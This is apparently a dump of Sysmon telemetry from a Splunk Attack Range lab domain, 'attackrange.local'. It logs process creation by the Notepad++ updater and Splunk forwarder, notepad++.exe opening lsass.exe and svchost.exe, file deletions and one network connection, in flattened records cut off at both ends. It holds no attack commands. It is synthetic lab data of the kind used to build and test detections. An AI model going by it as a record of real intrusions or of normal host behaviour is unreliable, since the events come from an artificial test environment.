Files\Notepad++\updater\gup.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\windows.storage.dll+89d2f|C:\Windows\System32\windows.storage.dll+899a5|C:\Windows\System32\windows.storage.dll+89496|C:\Windows\System32\windows.storage.dll+8a908|C:\Windows\System32\windows.storage.dll+892be|C:\Windows\System32\windows.storage.dll+8c0d5|C:\Windows\System32\windows.storage.dll+8c454|C:\Windows\System32\windows.storage.dll+8ba90|C:\Windows\System32\SHELL32.dll+3cd3f|C:\Windows\System32\SHELL32.dll+3cbcc|C:\Windows\System32\SHELL32.dll+3c91c|C:\Windows\System32\SHELL32.dll+e2087|C:\Windows\System32\SHELL32.dll+e1fe5|C:\Windows\System32\SHELL32.dll+13b1bb|C:\Program Files\Notepad++\notepad++.exe+244829|C:\Program Files\Notepad++\notepad++.exe+295213|C:\Program Files\Notepad++\notepad++.exe+2c6e46|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.139{7BD73061-7031-613B-FE0A-00000000F001}6240C:\Program Files\Notepad++\updater\GUP.exe5.2WinGup for Notepad++WinGup for Notepad++Don HO don.h@free.frgup.exe"C:\Program Files\Notepad++\updater\gup.exe" -v8.14 -px64C:\Program Files\Notepad++\updater\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=FBFCC4E41844B23CFECA4FFE2F02C4B0,SHA256=84BE3CF3E23C7909E712F196329246581D6D01D423D3C4D647CB27C0056D5E1F,IMPHASH=FC933F2041320B70EF128DD4E38ECA3F{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe"C:\Program Files\Notepad++\notepad++.exe" "C:\Program Files\ansible\AttackRangeSysmon.xml" 10341000x800000000000000046722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.118{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.118{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.103{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.087{7BD73061-65B2-613B-1600-00000000F001}12962072C:\Windows\system32\svchost.exe{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:17.087{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-7030-613B-FD0A-00000000F001}1176C:\Program Files\Notepad++\notepad++.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014528Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:17.131{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=632D55B3ACCB3E6CC5D825EBF38ABFD5,SHA256=9367F9E0FE1AAA494DD0975590DC1B05B62FC7315A969267AC1B84F19B978537,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.868{7BD73061-7032-613B-000B-00000000F001}27285300C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.665{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7032-613B-000B-00000000F001}2728C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.649{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=03747F26BCAB220ED1B288348685EA1D,SHA256=7F3092D65FB0281EFC2B5BD92B37CEE998C0BF981C36EFE17785B940005DEBFA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.649{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6CE07E64476D6C982A50C7588841A1D3,SHA256=5F0D9620D7D8E5E458C0D71D41A22D321F1DBDF1A1E2C6BC7DBD18E5684D741B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.649{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C02C355DEA11E545C687F45A55DC02F3,SHA256=2B4BF5FFBC19E1CA5CD63054BF311842E9147986BE4F916AAE6D37CE80B68176,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.649{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.649{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.649{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.649{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.649{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7032-613B-000B-00000000F001}2728C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.649{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7032-613B-000B-00000000F001}2728C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:18.400{7BD73061-7032-613B-000B-00000000F001}2728C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000014529Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:18.162{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=56BB983BC45EF259EAAB23BD3C604A34,SHA256=8AAE393FAB487742C94C1B984665D398FC4B64F1FD4D2691E7228F3A398D9CBB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:19.728{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7B498FB9C43A86ACFFB3497B94A951FD,SHA256=C35AF2B11BF0B000A75A9E4C74D89F1E4802278CD430CC879EAF5B6310BC539A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014531Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:17.364{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50166-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014530Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:48:19.162{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D1F13C9A93BAAB3AF2B7773609270224,SHA256=46042B2F4AD54210E24AB960C3260627F5161D0F4A13670C94CBC8441A5E579F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:19.446{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7033-613B-010B-00000000F001}6672C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:19.446{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:19.446{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:19.446{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:19.446{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:19.446{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7033-613B-010B-00000000F001}6672C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:19.446{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7033-613B-010B-00000000F001}6672C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:19.291{7BD73061-7033-613B-010B-00000000F001}6672C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000046767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:48:19.415{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 